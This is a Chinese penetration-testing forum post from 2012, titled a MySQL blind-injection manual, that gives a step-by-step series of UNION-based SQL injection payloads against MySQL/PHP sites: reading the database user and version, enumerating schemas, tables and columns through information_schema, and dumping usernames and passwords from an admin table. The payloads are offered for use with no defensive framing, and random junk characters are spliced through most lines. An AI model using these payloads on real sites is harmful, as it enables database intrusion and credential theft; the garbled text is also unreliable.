中国网络渗透测试联盟

标题: mysql盲注手册 [打印本页]

作者: admin    时间: 2012-9-13 16:27
标题: mysql盲注手册
, u1 M0 {/ s/ ^% a5 ~* M( `8 }. h9 g, Z
教程内容:Mysql 5+php 注入. Z# Z1 ?4 L5 |& W6 p$ p9 V: \
; ?  Y% O: G4 w' L% g

3 s: M7 B4 _' Q/ A7 q' N' e# |- g/ u8 p6 |
一.查看MYSQL基本信息(库名,版本,用户)7 b/ \7 i5 x: s; b1 z, d
$ O! ]) ^& y2 h- w
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
* G8 P6 P' J) e6 F" m, h# b0 A- \6 b$ M6 n. r4 k
二.查数据库9 U1 v" e) e; Q( @5 D& [; y& W% |/ P

( [: H" F/ y1 u5 J' T$ Hand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
% D% [! \6 @! h3 r% p8 l* P- zlimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。
+ Q5 e# ]4 e; Z$ y( T7 @  s( a: P1 |+ Z& O  `
三.暴表6 \: h0 z3 B6 x8 w8 L
; J' S" U4 b4 W" K8 v
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*8 [4 C5 b6 y8 G9 [, I
7 C6 e" H, x3 a, v
limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。; ~3 ?' s: S( O/ t7 n6 t; s9 O
, m) S9 w+ G) w
四.暴字段$ D7 w$ ~4 r! G2 i2 J7 P
6 z1 n0 h* L3 h8 V% `  V
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
( [2 b$ ~: j4 i; v! Y$ Z3 c
9 h7 i9 K2 }; ^' elimit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。/ `2 [" {! L3 V2 ]; @6 I

+ {7 m; d7 `/ Y2 e. y7 Q五.暴数据
/ u7 `; o2 ^& R* P! j" l
  R4 ]) M2 g4 S5 ~1 C" _' mand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*2 a/ M% [8 g. B& I8 K& W& j
/ b! {" w- |$ C8 T7 x$ ^, ^

9 H  g* V" d. r+ U这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。4 s# W- H4 a6 b) s





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2